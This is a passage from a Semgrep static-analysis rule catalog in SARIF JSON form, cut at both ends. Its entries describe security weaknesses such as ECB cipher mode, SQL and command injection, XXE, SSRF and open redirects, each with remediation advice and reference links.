(Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n","text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","id":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","name":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf](https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-](https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","id":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","name":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection","id":"java.spring.security.audit.spel-injection.spel-injection","name":"java.spring.security.audit.spel-injection.spel-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spel-injection.spel-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","id":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","name":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","id":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","name":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint","id":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","name":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits."},"help":{"markdown":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size","id":"cpp.lang.security.crypto.key.small-key-size.small-key-size","name":"cpp.lang.security.crypto.key.small-key-size.small-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.key.small-key-size.small-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File traversal when extracting zip archive"},"help":{"markdown":"File traversal when extracting zip archive\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File traversal when extracting zip archive"},"helpUri":"https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction","id":"go.lang.security.zip.path-traversal-inside-zip-extraction","name":"go.lang.security.zip.path-traversal-inside-zip-extraction","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.zip.path-traversal-inside-zip-extraction"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"help":{"markdown":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations](https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations)\n","text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal","id":"cpp.lang.correctness.memset-removal.memset-removal","name":"cpp.lang.correctness.memset-removal.memset-removal","properties":{"precision":"very-high","tags":["CWE-14: Compiler Removal of Code to Clear Buffers","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.memset-removal.memset-removal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect](https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect)\n - [https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse](https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse)\n - [https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect](https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django","id":"python.django.web.tainted-redirect-django.tainted-redirect-django","name":"python.django.web.tainted-redirect-django.tainted-redirect-django","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-redirect-django.tainted-redirect-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"help":{"markdown":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cwe.mitre.org/data/definitions/613.html](https://cwe.mitre.org/data/definitions/613.html)\n - [https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet](https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet)\n","text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","id":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","name":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution)\n - [https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection](https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","id":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","name":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should 